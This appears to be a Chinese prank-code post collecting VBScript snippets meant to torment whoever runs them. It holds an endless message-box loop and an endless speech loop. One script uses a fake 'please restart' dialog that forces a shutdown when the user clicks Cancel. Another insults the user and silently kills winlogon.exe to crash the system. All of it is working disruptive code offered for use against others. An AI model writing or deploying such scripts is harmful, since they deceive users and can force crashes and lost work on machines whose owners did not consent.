vbs恶作剧(整人代码)-英文报数 蓝屏 重启电脑等

do
msgbox "hi"
loop

Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop

if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then
msgbox " 系统将立刻重起wow ~_^",,"你上当了！！"
Set objshell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if

if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then
msgbox "你SB啊!"
else
msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd.exe /c call calc.exe",0